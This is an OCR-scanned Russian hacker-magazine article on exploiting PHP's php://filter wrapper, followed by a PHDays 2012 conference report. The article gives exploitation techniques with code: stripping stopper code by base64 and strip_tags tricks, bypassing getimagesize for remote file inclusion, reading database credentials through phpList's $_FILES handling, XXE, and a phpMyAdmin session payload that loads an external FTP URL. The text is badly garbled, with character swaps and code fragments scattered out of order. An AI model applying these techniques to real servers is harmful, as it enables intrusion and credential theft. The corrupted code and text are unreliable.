В.дальнейшем набор этих символов будем называть алфавитом Base64 или просто алфавитом. Польза оттакого преобразования

хлкЕр

a9/1bl,/2012

i

$i, 6);

Чтобы разобраться с этим, необходимо более детально изучить работу функци й base64_encode/base64_decode.

ABcDE FGНI ] КLМNОРQRSТUVtлJХYzаЬсdеf

\ 6789+ /''

Принцип работы функции ba5e64_decode


взлOtl ph

allow_U.l_fopen

p://filter

=

off

i

simplexm1,1oad_rile

DoMDoc!menl:]oad получают ХМLдля ХХЕ

rрансформация

iltеr

данных через php://f

Создание xML для ХХЕ через php://filter

-

ние наших данных, между ними и стOпперOм дOлжна стоять строка, выпOлняющая рOль заглушки, т0 есть на каждOм шаге декOдир0вания дополняюцая длину стоппера до кратной четырем. Чтобы лучше понять этот важный момент, сконструируем заглушку для

приема Эссера, NOT REMOVE THIS

LINE\n ";

$configFile .= "'; file automatically gепегаtеd ог modified Ьу Piwik; you сап manualJ.y очеггidе the default ValUeS in global.ini,php Ьу геdеfiпiпg them filе. \n".;

in this

Сначала удалим из строки $configFile все символы, не входящие

в алфавит Base64, и вычислим ее длину, Получаем 147, значит, сразу

нам нужно будет добавить один сиN.4вол. Добавим l потому что при декодировании этотсимвол будет проинтерпретирован как 111'l11 и к нему спереди добавится еще два бита, то есть АSСll-код последнего символа после декодирования будет либо бЗ, либо 127, либо ']91. либо 255, поэтому получится символ не из алфавита и при следующем применении base64_decode он будет проигнорирован. Итак, при циклическом выполнении действий: подсчитываем длину, добавляем необходимые сиN4воль1, декодим, очищаем строку от символов, не входящих в алфавит, снова подсчитываем длину и так далее. lr4ы рано или пOздно получим пустую строку. На данном этапе важно запомнить, сколько добавляли символов после каждого применения base64_decode. Эти значения удобней всего хранить в массиве, в нашем случае это будет такой массив: $а[0]=1 $at1]=0 $at2]=] $аtЗ]=З. При взгляде на него становится ясно, что заглушка будет иметь вид'/'.$s2.$sЗ, где строки $s2 и $sЗ состоят из сиl,.4волов алфавита и их длины кратны четырем, двойное применение base61+_decode к $s2 даст / и тройное применение base64_decode к $s3 дает ///. условие "состоят из символов алфавита, и длины кратны четырем> необходимо для того, чтобы данные, находящиеся за заглушкой, декодировались без изменений [уже говорилось, что при Base64декодировании строка разбивается на части по четыре символаl, Строку $s2 можно построить так: применяем base64 encode к обратн о му сл ешу, получа ем строку Lw==, кото рая содержит тол ько два символа алфавита, поэтому двойное равенство в конце l==) заменим на g/, Конечно, это не единственная замена, которая нам подходит, главнOе, чтобы после применения base64_decode получалась строка, отличающаяся от обратного слеша lпервоначальной строкиl тOльк0 спецсимвOлами, котOрые пропадут при следующем декOдировании.,Д,алее снова энкодим и снова меняем двойное равенство на gl в итоге получаем THdnLwg/. Аналогично строится строка $sЗ, в нашем случае она будет такой; VEhгNGRnZy8l Следующий скрипт как <выдавливается>

NОТ REMoVE THIS

LINE\n";

$сопfigFilе .= "; filе automatical]y geneгated оr modified Ьу Plwikj you сап manually очеггidе the default values in global.ini.php Ьу гedefining them i.п thls ]

\п

$S=$configF encode

";

ile (

(

5 ; $i++)

{

$S ) ;

.

"

/THdn LWg/VE

baSe64_encode

h

гNGRпzу8/ " . Ьа se64_

(

base64_encode(base64_encode(base64_encode('Yes!

Irоrks|')))));

При всех выгодах данный метод уничтожения стопперов не может быть универсальным. В 2009 году было замечено, что функция

base64_decode некорректно обрабатывает строки, содержащие в середине знаки равенства [#47174] lltllNфBli). Этот баг был довольно оперативно исправлен для функции base64_decode, но для фильтра convert.base64-decode никаких исправлений сделано не было. Поэтому, если при (выдавливании> на каком-т0 шаге получаются данньlе, содержащие знак равенства, дальнейшее применение фильтра convert.base64-decode уничтожит преобразуемую строку.

$5 = "рhр://fittег/геаd=сопчегt.Ьа5е64-dесоdе/ геSоUгсе=dаtа :, dGVzdA==cRAP" j

vaг_dump(file_get*contentS($s));

// ргiпt: Stгlпg(0) "

Но не только фильтр сопчегt.Ьаsе64-dесоdе может удалять данные из потока, более эффективен в этом плане фильтр Stгiпg,

Stгiр tagS.

0сOБЕннOсти ФильтрА STRlNG.STRlP_TAGS Фильтр stгing.stгip_tags появился в РНР в версии 5.0.0, использование этого фильтра эквивалентно обработке всех данных потока функцией strip_tagsl), Фильтр может принимать аргументы в одной из двух форм: либо в виде строки со списком тегов, как и второй аргумент функции stгip_tags(), либо массив названий тегов. Напри[4ер, чтобы удалить из строки все теги, кроме <b><i><u>, можно использовать фильтр 5tгing.stгip_tags таким образом:

$fp = fopen('php://output', 'W')j stneam_filteг_append($fp,'5tгiпg. 5tгip_tags', \ STREAM_FILTER_WRITE, аггау('Ь','i','u' ));

fwгite($fp,

"<b>bolded text</b> епlагgеd

а <h]">level 1 heading</h1>\n");

fc 1ose ( $fp

to

\

) ;

Применение фильтра stгiпg.stгiр_tаgs удаляет не только HTMLтеги, также будут удалены РНР-теги и НТМL-комментарии. HTML

Таg:

РНР Таg:<?

<аЬс> ?>

HTML comments:<!--

-->

стOппер:

$сопfigFilе = "; <?php exit.; ?> Do

file

$S=base64_decode pnint $S. "\n";

<=

}

$сопfigFilе = ",; <?php exit; ?> DO

демOнстрирует,

fог ($i = 1; $i ргiпt $i. "\п";

It

Поэтому, если необходимо избавиться от стоппера, нужно каким-то образом не дать фильтру stгiпg.stгiр tags удалить внедряемый РНР-код. Самый простой способ это преобразовать нужные символы в quoted-printable формат (RtС2045, раздел 6.7], а потом применить фильтр сопчегt.quоtеd-ргiпtаЬlе-dесоdе. Использование фильтра conveгt.quoted-printab]e-decode эквивалентно обработке всех данных потока функцией quoted_printable,decode(]. Эта функция обрабатывает строку посимвольно, если встречает символы в кодировке quоtеd-ргiпtаЬlе, то преобразует их в символы восьмибитной кодовой таблицы. Например, если необходимо удалить воттакой простой стоппер: "; <? die; ?r\п", то с помощью фильтра conveгt.base64-decode это можно сделать следующим образом:

-

х^кЕр

09 /,l641 20]2


Ядовитая обертка, или опасный php://filteг

$content = "j

die;

<?

?>\п";

$content .= " [/Ly8VVTFoQlRХSxpxbxhKUmtKSlzvRTIQUTo9]\n',,;

$file =

'php: //filtеп,/wгitе=сопчепt. base64-decode | сопчегt. baSe64-decode I convent. ЬаSе64-dесоdе/геSочгсе=. /РоС' j

fi].e_pUt_contents($fi

1е, $content)

;

При этом п_отребуется еще найти строку, выполняющую роль заглушки, в данном случае это будет/Lу8ч. Удалить этотже стоппер с помощью фильтра stгing.stгip_tags можно намного проще.

$content = ";

<?

diej

|

\

сопчегt . quoted - pnintable - decode/ rеsоuгсе=. /РоС ' ;

file_put_contents($file, $content) j

Здесь =ЗС, =ЗF- это символы <, ? в quoted-pгintable формате. Важно отметить, что фильтр сопчегt.qчоtеd-рriпtаЬlе-dесоdе не даст ожидаемOг0 результата, если в строке содержится знак равенства, пOсле кOтOрOг0 нет шестнадцатеричного кода символа,

Itег/геаd=сопVегt. \

quoted -pгintable-decode/гesource=data

vaг_dump(file_get_contents($s));

фил ьтро в.

:, dGVz=BAD',;

// ргiпt: Stгiпg(о)''''

Поэтому стоит рассмотреть подробней

и

fог($i=0; $i<256; $i++) { $s='Hello <'.сhr($1).'tлlогId echo $i.' -- '.сhг($i).' tags($s). "\n";

> Авс'

--

j

..strlp_

}

После запуска этого скрипта становится ясно, что если после символа < иду|т символы с ДSСll-кодами 19,10,11,12,1з,з2L то знак < не вOспринимается как начало тега. Еще один важный мOмент наличие кавычек внутри тегов. Если тег содержит лишнюю {незакрытую) кавычку ['или "l, то обрезается все после нее. Строка между кавычками вослринимается как атрибут тега и пOэтOму игнOрируется пOлнOстью.

#

<<taloг"ld>U=b >> АВС' );

ргlпt: Hello

echo stгip_tags('Hello echo

<<t'ог"].d>U=ь >,,> ABc,)j АВС Stгip_tags('He].lo <<Wог"ld>U=Ь ><''> АВс' ),; # print: Неllо АВС

* print: He]lo

При этом stгip_tags игнорирует экранирование кавычек [#45599J lbit.]y/M PocYX).

0БхOд прOвЕрки нА 0снOвЕ GETltlAGEslzE С помоtцью фильтров можно удалять не только стопперы. Можно, например, модифицировать содержимое изображения, после того

хАкЕр

09 /1641 20]2

как 0н0 прошло проверку на основе функции getimagesize. В качестве примера рассмотрим скрипт, в котором присутствуюттакие участки кOда: ext гасt ( $_REQUEsT

)

.;

include $templatediг.'/headeг.html'

;

if(!empty($_tILES) ) t $fiIe_info = getlmagesize($_FILES['image' ]['tmр_паmе' ]); if($file_info['mime' ] =='image/jpeg'){

if

jpc'

другие комбинации

STRING.STRlP_TAGS + CONYERT.BASE64-DECODE = PROFlT !ля более эффективного использования фильтра Stгiпg.Stгiр_ ta9s необходимо изучить некоторые его особенности. В официальной документации можно найти упоминание следующего факта: если после символа < идет пробел, то символ < не воспринимается как начал0 тега и удаляться не будет. Это очень важный мOмент, так как при <выдавливании> в преобразуемых данных мOгут пOявиться симвOлы <, пOэтому, применяя к таким данным фильтр stгiпg.stгiр_tаgs, возможно удалить сразу довольно большую часть данных. Но важно знать, что будет интерпретироваться как НТlt4L-тег. Это легко определить с помощью фаззинга.

echo stгip_ta8s( 'Helto

РНР С ТOЧКИ ЗРЕНИЯ АТАКИ НА ВЕБ-ПРИЛОЖЕНИЯ

?>\п",;

$content .= "=3С=ЗFргiпt('РНР' );\n",; $fiLe =' php: / /filteг/wгite=stгing.stnip_tags

$5=' php : //fi

родOл)(AЕi,| TE},ly иссл Е_ ДOВАНИЯ ВРАППЕРOВ ЯЗЫКА п

(move_uptoaded_fi J.e($_FILES[' image' ['tmp_name'

]

\

], $fоldег.',/ачаtаг.

))

При отсутствии NULL-6айта может показаться, что нет возмOжнOсти ни проэксплуатировать RFl, ни загрузить что-то, кроме

файла avatar.jpg. Но врапперы предоставляют нам новые способы эксплуатации подобного рода уязвимостей. 1. В ЕХlF-изображение внедряем данные в необходиllоti формате и загружаем это изображение, определив переменную $fоldег таким образом:

foldeг=php ; //filter/Write=st гiпg. stгip*tags | сопчегt base64- decode/

2.

""rou

.

рбg=/tmр/

после прохождения лроверки getimagesize, но леред сохранением на диск изображение будет обработано фильтрами и превратится в ziр-архив. Инклюдиl,iфайл внутриэтогоziр-архива.flля этого используем враппер zip. Более подробно об его использовании я расска-

зал в предыдущей 201 2 года).

templatedin=zipi

статье [статья,<Ядовитая

/ /

обертка>, август

/tmp/ ачаtап. jpg*/my

С помощью фильтров можно не только <выдавливать> данные, н0 и просто удалять часть файла, если есть такая необходимость.

Рассмотрим довольно интересную уязвимость в скрипте phpList

2.10.'lЗ. Причиной данной уязвимости является возможность изменять структуру в массиве $_FlLES. Первое упоминание об этой особенностИ массива $_FlLES появилось еще в 2004 году (bit.lvl PEZltll. Но исправлено это было только в 2012-м (bit.lvlMOl7x]]. Итак, в phpList 2.'10.'lЗ, в файле,/аdmiп/соmmоп|iЬ/раgеs/usеr.рhр можно найти следующий код:

if (is*аrгау($*tllЕs)) {

## only ачаtагS аге files fогеасh ($_FILEs['attrlbute']['name'] aS $key

$val)

{

if

(

!empty($_FILEs['attnibute'

=>

]['паmе' Jt$key11;

1

$tmpnam = $_FILES['attгibute' ]['tmр_паmе' ]t$key]; $size = $_FILES['attnibute' ]['size' Jt$key1;


Взл01.{ if ($Size

-

что, по сути, дает возможность сохранить в базу только 192 символа, но это ограничение можно обойти с помощью враппера рhр://filtег, Например, если необходимо узнать пароль от базы данных из такого файла (важно, что в этом файле нет знаков

< MAX_AVATAR_5IZE) {

$ачаtаг = fi le_get_contents($tmpnam) Sql*QUегу(Sргlпtf ('перlасе into %s ( U Seгid, att гibuteid, va 1Ue ) values(%d,% d,"%s")', $tables [ "useг_attгiЬчtе" ],

;

равенства):

$id,$key, base64_encode($avataг)));

/*******+**+*+***********+********************+*++*+*****

*

Несложно понять, что для того, чтобы использовать этот кOд для загрузки произвольных локальных файлов в базу данных, достаточно создать такую НТМL-форму: <fогm action="http

+ MySQL Settings * host

>

/fогm>

0ткрыв эту НТlr4L-форму в браузере и выбрав необходиlvые файлы, на удаленный сервер можно отослать следующий РOsт-запрос lB поле Сопtепt-Туре указываем путь до локального файлаl:

define('DB_USER','dЬusег'

PoSTDATA

|ЧуSQL database paSSwond */ define('DB РАsSt^JОRD','SЗсгеТр4Ss'

Можно обработать содержимое файла фильтром сопчегt.Ьаsе64ecod e,

- - - - - - - - - - - - -

filename=

-277 44з277 2з2757

[",;

" 1"

content-Type: application/octet-stгeam

- -- --- -- --- ---

content-Disposition: паmе]

php

lename="ima8e. jpg"

content-DiSpoSition: foгm-data; name="attгibuteISize]

";

27744з277 2з27 57

foгm-data; name="attnibUte[ [tmp_

fi1епаmе="1"

content-Type: application/octet-Stгeam - --- - --- -- ---

-27744з277 2з2757

content-DiSpoSition: fonm-data; name="attnibuteIname] ["; fi],ename="]."

content-Type: application/octet-Stneam

;;;;;;;-;;,;;;;;;;;,;;;;.;;:'"1:1:!!,:i:iz: :::: :::::::

_--------_____27744з2772з2151--

В результате в [4ассиве

$

FlLES появится элемент

$_FILESIattгibute] [tmp_name] /path/tol1ocal/fi Ie. php

[

[type]

=

Это. в.свою очередь, приведет к тому, что в базу данных будет загружено содержимое файла /path/to/local/file.php. После всех этих lvанипуляций останется только получить данные из соответствующеЙ ячеЙки с помощью SOL-инъекции. При этом фаЙлы будут загружаться в таблицу рhрlist_usег_usег attribute, в поле value, которое имеет тигi чаrсhагi255]. К тому же перед загрузкой содержимое файла обрабатывается функцией base64_encode,

).;

/+* MySQL hostname */ define( 'DB,HOST', '10calhost' );

-27744з2772з2757

content-Type: /path/tol1ocal/file.php

+/

);

/**

content-DiSpoSition: foгm-data; name="attnibUteItmp_name] fi

wеЬ

).;

/** MysQL database usегпаmе

d

".;

this info fгоm уоuг

********+*+**+**********+****************+*+***х********/

define('DB_NAME','cms'

enctype="multipant/foгm-data" <input type="file" name="attгibuteItmp_name] ["> <input type="file" name="attгlbuteIsize]["> <input type="file" name="attгibute[ [tmp_name]"> <input type="file" name="attnibuteIname]["> <input паmе="сhапgе" value="SaVe changes" type="submit">

[

You сап get

/** The паmе of the database */

:,//10calhoSt/lists/

admin/?page=useг&id=1" method="POST"

<

The databaSe сопfigUгаtiопS.

:

/filten/ геаd=сопчегt . Ьа s е64- decode/ геsоuгсе=/ path/to/1ocal/db. php /

Таким образом в базу данных попадут уже 255 символов из необходимого нам файла, при этом символы не из алфавита Base64 будут проигнорированьi, Если пароль от базы данных не будет содержать специальных символов, N4ы его узнаем полностью. Если использовать фильтр stгiпg.stгiр tags, можн0 попытаться вырезать часть файла, и тем самым в базу данных уже загрузятся не первые 192 символа, а, возможно, какая-то другая часть файла. Например, можно узнать логин и пароль от базы данных из конфигурационного файла BBPress'a таким образом: baSe64-encode : //fi 1tег/сопVепt. base64-decode I stгiпg. stгip_tags php

convent

. Ьа

"",оц;.6g=/

Se64

-

encode I st гiпg.

ЬЬр пеs

s/ ЬЬ - config

.

I

stгing, гоtlЗ сопчепt. |

I

гоtlЗ сопVегt . base64- decode/ |

php

ВЕКТOРЫ АТАК Итак, что же дает нам применение фильтров при уязвимостях типа File Manipulation? В первую очередь появляется возможность трансформировать данные. Например, если удалось внедрить данные в какой-либо фаЙл, на aтaKyeMoN4 сервере мы можем с помощью php://filter/ его трансформировать и в результате получить уже файл с произвольным содержимым. Чем могут быть пOлезны такOго рода фаЙлы? Если нет возможности создавать фаЙл в вебруте, можно попробовать: 1. Создать файл сессии. Создание сессии дает возможность произвести различнь е виды атак. Например, можно обойти авторизацию, если ве6-приложение использует сессии для авторизации пользователей. Также можно реализовать uпsегiаlizе bug через session stагt(}, если приложение содержит уязвимые магические методы. Тут уместно вспомнить про uпsегiаlizе bug в скрипте 5cгipts/setup.php phpMyAdmin. Эта уязвимость была исправлена в версии 2.11.10 тем, что из скрипта scгipts/setup. рhр был удален uпsегiа ize, принимающий данные от пользователя, при этом уязвимый магический метод так и остался в коде phpMyAdmin. Так как phpl,/yAdmin использует сессии, 0сталась вOзмOжнOсть проэксплуатировать уязвимOсть ме-

хАкЕр

09 /]641 20]2


Ядовитая обертка, или опасный рhр://filtег

тода __wakeup с помощью session_staгt{]. Например, если у пентестера есть доступ в phpMyAdmin с привилегией FlLE, он может создать файл сессии Ic помощью оператора SELECT... lNT0 0UTtlLEl: ххх |а:1: {i: O;o,19; "PllA_confi8":1: {s:6: ''sочпсе''j S:63: "ftp: //пупаmе : nypass@ftp. паrоd. гu/pathto/index.txt'' j }} После того как нужный файл сессии создан, остается только обратиться к http://site.com/phpmyadmin/ с соответствующим PHPSESSlD. Этот способ будет работать для всех версий phpMyAdmin. 2. Создать или перезаписать шаблоны. Если ве6-приложение использует темплэты, то, перезаписывая или создавая нOвые темплэты, мOжно использовать уязвимости ша бл

о н

изаторо в.

3. Создать zip-apxиB и проэксплуатировать

RFl.

4. Создать/перезаписать файлы htaccess/htpasswd. Иногда бывае1 что нельзя создавать файлы в ве6-руте средствами РНР, но можно перезаписывать файлы htaccess/ htpasswd. Перезапись этих файлов позволяет: обходить авторизацию, выпOлнять кOманды и даже получать информацию о конфигурации сервера Apache lblt.iv/lu9CuD. bit.lv/Qm2a5X].

Кроме трансформации файлов, враппер php://filteг дает возможность манипулировать функциями, которые обрабатывают файлы только определенного типа.

мы можем, используя фильтры, преобразовать этот файл ма1 доступный функции рагsе_iпi_f ile: php:

в

фор-

//filten/ rеаd=сопчепt

. Ьа se64- decode | сопчегt . Ьа se64decode | сопчегt. base64-decode,/resource= /tfi p/sess_

dffdsdf24gSSdgsd90

Что в данном случае приведет к уязвимости Remote Filе |nclude.

W-

широко распространенный текстовый формат, предназначенный для хранения структурированных данных, которые используются при обмене информацией между программами, Хорошо известно, что в ХМL-документ можно добавлять содержиl,.4ое внешних файлов с помощью внешних сущностей lехtегпаl entities], но при этом итоговый документ должен быть wеll-fогmеd. В РНР обойти это ограничение можно с помощью фильтра сопчегt. base64-encode. ХlйL

Bypass wеll-fоrmеd xML output check <?хm]. Vегsiоп='1.0' standa]ong='yes'?> < !

DOсTYPE scan t

<!ENTITY ххе SYSTEM "рhр://filtег/сопчегt.ЬаSе64-епсоdе/ геSочгсе=. /db. php''

>

]>

Согласно официальной документации, функция рагsе_iпi file имеет следующий синтаксис:

аrгау paгse_ini_file ( stгing $filепаmе

sections

[,int

=

false

[,

Ьоо1 $рпосеss_

$scanner_mode = INI_SсANNER_NORMAL

]]

)

Эта функция загружает iпi-файл, указанный в аргументе fiiename, и возвращает настройки из iпi-файла в виде ассоциативного массива. Так как в iпi-файлах обычно находятся важные

для работы веб-приложения данные, функция parse_ini_file может работать только с локальными файлами, но при этом в качестве $filename можно использовать врапперы. Предположим, что у нас есть вOзможность внедрить данные в файл сессии, например, в скрипте есть такой код:

session_Staгt( ); $_SESSION['adпin'

]

= $_PosT[' паmе'

],;

$чаr = parse_ini_file($inifi Ie); геquiге $чап['геquiге' ]; Тогда, создав файл сессии /tmp/sess_dffdsdf24gssdgsd90

таким сOдержимым: admin

I

Но врапперы можно использовать не только внутри Xlr4Lдокумента, но и в функции simplexm1_1oad*file и в методе DOMDocument::load. Это дает возможность произвести ХХЕ-атаку при аllоw_uгl_fореп =0ff, если есть возможность манипулировать именем файла.

W

На этой ноте я завершаю свое повествование об использовании врапперOв для пострOения прOдвинутых техник эксплуатации

уязвимостей в веб-приложениях. Врапперы очень гибкая и функциональная штука, вполне вOзмOжн0, что я еще вернусь к ним в будущих статьях. Напомню, что защититься от подобного рода атак достаточно просто: проверки на основе функций file_exists, is_file, filesize не дадут воспользоваться врапперами php://f iltег, zip:l l, data:ll, compгess.zlib:/l При установленном патче Suhosin по умолчанию невозможно испOльзOвать врапперы в инклюдах, даже если директива allow_ uгl_iпсludе имеет значение 0п. flля использования врапперов в таком случае необходимо добавить их в вайт-лис1 например

в вайт-листе suhosin'a suhosin.executon.include.WhiteliSt = "php''

06ертка РНР с

s : 68 :,,Ly8vvnpo\4{FHTnNNRXRqYIzaNFpGzHNlVnBVTUdsTUlSt^j

xdxwG5 1Yj J ]elRqQmplVWS5"

<scan>&xХej </Scan>

Теперь ты знаешь, что такое врапперы и как их правильно использовать. Попробуй взглянуть на закрытые уязвимости поновOму, вOзможно, их и не закрыли... Stay wгарреd!

Е

lппЕ Данная статья основана на выступлении Алексея lrocKBxHa

иеждународнOх форуме по практrческой на

безопасности Positive Hack Day5 2012. Презентация доклада доступна по этомуадресу: sl idesh'a. re/l"lTRkml.

хлкЕ?

09

l1bLlю12

3АlЦИТИТЬСЯ 0Т ТАКИХ АТАК ПРОСТOз ПРОВЕРКИ нА оснOвЕ ФункциЙ FlLE_ExlSTs, IS_FILE, FlLESlzE н Е дАдут вOспOл ьзOвАться врАп п ЕрА1.{ и РНРzll гi lтвп, Zlрзl l, DATA://, co},l pRESS.ZLl в://


Взло].{

PHDays

20 12зJ кАкэт0 Бьlл0?

ОТЧЕТ О КOНФЕРЕНЦИИ

п0

ПРАКТИЧЕСКОИ

БЕЗОПАСНOСТИ В КАРТИНКАХ Грандиозная затея собрать в одном месте (пиджаки> и <футболки> удалась. В Москве прошла сумасшедшая [в самом хорошем смысле этого слова} конференция для людей, которые принимают решения о вопросах безопасности в больших компаниях, и для людей, которые не понаслышке знают, что такое взлом. Как это происходило, какие сюрпризы подготовили организаторы и какие доклады нам особенно в этом материале. запомнились,

-

ервOе, что привлекал0 внимание каждого, кт0 пOявлялся на

аквариуч, площадке Positive Hack Days, - это огроменный я заваленный распечатками А4, "Что это?" - спрашиваю у организаторов, компании Positive Technologies. Это одно из заданий грандиозного СТF, в котором участникам нужно будет показать навыки олдскульного способа добычи полезной информации, копаясь в буквальном смысле в мусоре. Уже с этого момента становится ясно, что конференция будет гораздо большим, чем сессии докладов, параллельно идущих в нескольких залах, Это ощущение укрепляется, когда кстати, все прообходишь немаленькую территорию конференции, исходило в центре Москвы на одной из самых продвинутых площадок с символическим названием Digital October 0громное количество декораций, стендов. затравок для конкурсов, атмосферный бар с бесплатным алкOгOлем, н0 главное... неверOятное количеств0 знакOмых людей. Кажется. что собрать еще больше спецов из области ИБ под одной крышей невозможно. Ну или по крайней мере очень сложно. Простой пример: мы познакомились сразу с несколькими авторами J [, которых раньше знали только виртуально. В итоге всю конференцию мы были в состоянии выбора: то ли пообщаться с интересными людьми, то ли бежать на доклад. Но если доклад, то какой? Часто интересные выступления были параллельно. Впрочем, была доступна прямая

l:]il

-

W

видеотрансляция,

что решало проблему.

Вообще доклады были очень разнообразны (видео и слайды доступны здесь: bit.lv/JYOkбP), особенно с учетом того, что организаторы приэто, конечно. гласили л юдей из сам ых разн ых сфер ИБ. Наш выбор чисто технические исследования, которых было немало. Кратко коснусь наиболее запомнившихся. Тревис Гудспид рассказал. как можно исполь зовать шумы и внедрять пакеты на первом уровне модели 0Sl lPacketin-Packet]. Любопытное исследование представили ребята из Elcomsoft Скляров и Андрей Беленко. Взяв популярные менеджеры

-

-!,митрий

хАкЕр

09 /1641 20]2


PHDays 2012: как это было?

кАк прOхOдил стF? рандиозный СТF, проведенный в рамках PHDays, заслуживает отдельного слова. Площадка, на которой разместились i2 именитых команд, занимала львиную часть большого Ргоgгеss-Ваг'а. где на протяжении двух дней тусовалось огромное количество людей. связанных с информационной безопасностью, Как и в классическOм СТF, основной задачей участников было выявить уяэвимOсти в системах противникOв и получить дOступ к секретным ключам, индивидуальным для каждой команды. Участники параллельно работали над поиском уязвимостей сразу в четырех сервисах. состояния которых, а следовательно, и их баги менялись каждые несколько часов. OсновньLе очки участники получали за эксплуа-ацлю найденных ими уязвимостей на серверах командсоперни<ов.,Щоказательством успешной эксплуатации являлся МD5-хеш, после добавления которого в скорингсистему команде начислялись баллы в зависимости от слOжности задания, установленной организаторами. Если какой-либо из серsисов команд был недоступен более пяти минут, команде начислялись штрафные баллы. Все честно. 3аветные баллы команды могли получить и за решение заданий из зоны хак-квеста отдельной сети, в которой находились серверы с уязвимыми сервисами. Эти задания участники мOгли решать тOльк0 метOдOм черног0 яцика/ то есть локальнOго доступа к системам у них не было. Параллельн0 задания могли решать все желающие с любого конца света этого был построен VРN-канал до этой сети, -для Чтобы участники не засиживались на месте, им предоставлялась вOзможность лолучить дополнительные баллы, занявшись так называемым dumpsteг diving,- короче говоря, поупражняться в добыче информации старым как мир путем. Для этого организаторы поставили по-настоящему о,ромный прозрачный бокс, заваленны,i распеча]кам/ на А4. Кроме листов с мусорной информацией, можно было найти и бумаги с теми самыми (флагами>), эа которые начислялись очки. Забавным ответвлением основной легенды также было задание "L[aob горы", Эtо максимально реалистичный конкурс для пеhтестеров: типовой периметр сети средrестатистической компании с уязвимыми веб-приложениями и различными сервисами, за всем этим скрывается MicгOsoft Active Dirесtогу. Задача участников обнаружить уязвимости в системахJвOспOльзOваться ими и максимальн0 долго

г

-

-

хдкЁр

091164/2012

удерживать захваченные системы. Как?.Щело в том, что после захвата системь одной из команд. цепочки уязвимостей перегенерируются, и у команды был выбор: либо пытаться захватить смежные системы, либо продолжить поиск уязвимосIей в уже захваченной системе. К слову, время удержания Active Dirесtоrу было самым дорогим. Oно и понятно, ведь для того, чтобы провести атаку на службу каталогов, требовалось удерживать системы, расположенные на первом уровне (читай - периметреl. Все как в жизни... Вопреки ожиданиям организаторов, участники не разOшлись на нOчь по своим отелям, а продолжали рубиться и решать задания, отлучаясь по своему собственному расписанию на короткий часовой сон. На второй день

столы участников были буквально завалены энергетиками (кажется, многие иностранные участники оценили наши российск/е напитки]. 0днол из команд удалось считерить l rообросить внешний туннель, подключив к участию дополнительных бойцов. Интересно, узнали

ли об этом организаторы

ибьlли ли какие-то

санкции.

Победителем СТF стала питерская команда LЗЗt Моrе, кOтOрая, < слову, умудрилась найти в ходе соревнований 0-dау-уязвимость в FгееВSD.

Некоторые подро6ности о проработке конкурса. В организации участвовало 0кOл0 40 человекl Сеть была развернута на нескольких Е5х, на них

были залущены виртуалки на базе FгееВSD, под кOторыми крутились jаil'ы с уязвимыми

системами,

Параллельно мероприятия прOвOдились еще на 20 площадках по всему миру. На каждой были свои доклады, кOнкурсы, инOrда даже целые стF.


Взл01.{

БольшOЙ ку$н Этот конкурс оказался одним из самых ярких и привлек внимание очень мноFих, кто занимается практической безопасностью. 0собенно приятно, что в нем принимали участие многие наши авторы. Именно там я впервые встретился в реале с RаzOг'ом, написавшим не один классный материал для журнала. 0н согласился рассказать о конкурсе чуть подробнее. <L{ель участников, среди которых был и я, состояла во вэломе

специально подготовленной системы дистанционного банковского обслуживания. В чем же особенность? 0рганизаторы подготовили настоящий банкомат с настоящими картами и специальн0 поднятым процессингом для вывода денег. Так что каждый участник в

перспективе мог сразу оlлутить результат своей ,,работы", сняв с карты живые деньги [!), которые удалось перевести на свой счет, Круто, но как это можно было сделать? За день до действа всем участникам раздали флешки с исходниками системы. в которых нужно было найти уязвимости. Никаких SOL-инъекций, LFI/REl и прочих традиционных для РНР присутствовали уязвимости, которые, уязвимостей в коде не было п0 слOвам 0рганизатOрOв, встречаются в ходе пентеста реальных flБ0. flля примера вспомню уязвимость в процедуре восстановления пароля. Нужно было лишь отправить запрос на сброс пароля и брутить код. который генерился следующим нехитрым образом:

-

$key = 1651glogin. гапd(1,

250) );

Таким немудреным способом можно было достучаться до чужого аккаунта, Кажется, именно этот простой баг смогли найти все участники, Понятно, что вручную эти уязвимости никто не эксплуатировал: в первый день каждый пытался написать автоматические сплоиты, а самое интересное началось во второй день, Всем участникам предлагалось небольшое время, чтобы с использованием найденных уязвимостей слить как можно больше денег со счетов в виртуальном,Д,Б0. Причем уязвимости затрагивали аккаунты не тольк0 виртуальных клиентOв, н0 и других участникOв конкурса. В итоге первое место занял человек под ником Gifts, второе Глеб Чербов и [има Частухин. а третье досталось мне>. -

паролей для iOS, они решили посмотреть: в такой ли безопасности хранятся пассы. 0казалось, что почти все они не стоят и выеденного яйца, а многие даже хранят ключ шифрования в открытом виде. Интереснейшую ретроспективу парольной зашиты представил Александр Песляк lмногие его знают как Sоlаг Dеsigпег), автор легендарного passwoгd-KpaKepa John the Riррег! Будем надеяться, что сможем увидеть его среди гостей нашего интервью, Тема DDoS в исполнении Александра Лямина из Hi9hload Lab, как всегда, нетолько приковала внимание, но и традиционно превратилась в большую сессию вопросов-ответов. Не обошли конференцию и люди, которые занимаются ресерчем вирусов. Александр Гостев из Каsрегskу Lab решил не рассказывать про баянистый Duqu, а без подготовки выдал захватываюlлую страшилку про Flаmе, который был обнаружен буквально накануне. В зал с докладом Са ши Матросова и Жен и Родионова про уязви мости смарт-карт с точ ки пришлось смотреть зрения банковских троянов было не пробиться на экране в баре. Федор Ярочкин и Владимир Кропотов представили необычный подходдля анализа ботнетов. Вместо реверсинга ботов они анализируют DNS-трафик и легко определяют ботов по запросам к несуществуюцим доменам. Получился живой доклад с множеством примеров из жизни. Увлекательным опытом обнаружения и устранения уязвимостей в сетях телекоммуникационных операторов поделился организатора Сергей Гордейчик, технический директор компании форума Positive Technologies. 0тличный доклад про ХХЕ-атаки с демонстрацией 0-dау-сплоита прочитал Володя Воронцов. К слову, начинался его доклад во второй день в 9 утра, и, когда мы ехали к этому времени, думали. что в такую рань едва ли придет много народа. И были приятно удивлены: свободных мест в зале почти не было. Не могу не упомянуть также выступление главной приглашенной звезды Брюса Шнайера, одного из самых известных специалистов по криптографии. И пусть доклад не был сильно техническим, мысли людей такого масштаба всегда

-

-

слушаешь с особым вниманием.

Е

это нон-стоп Главное отличие PHDays от обычных конференций активность. Что требуется от хакерской конференции? Глубокие хоть технические доклады? Да! Хак-конкурсы на любой вкус отбавляй, СТF? Кажется, впервые соревнование было органично интегрировано в основной ивент lB отличие от обычного сценария. когда СТF-щики незаметно живут своей жизнью, что-то там ковыряя в уголкеl. Конкурс сплоитов? Никита Тараканов показал 0-day для в iOS. lt4ногие скептически относиWindows ХР, а Павел Шуваев

-

-

-

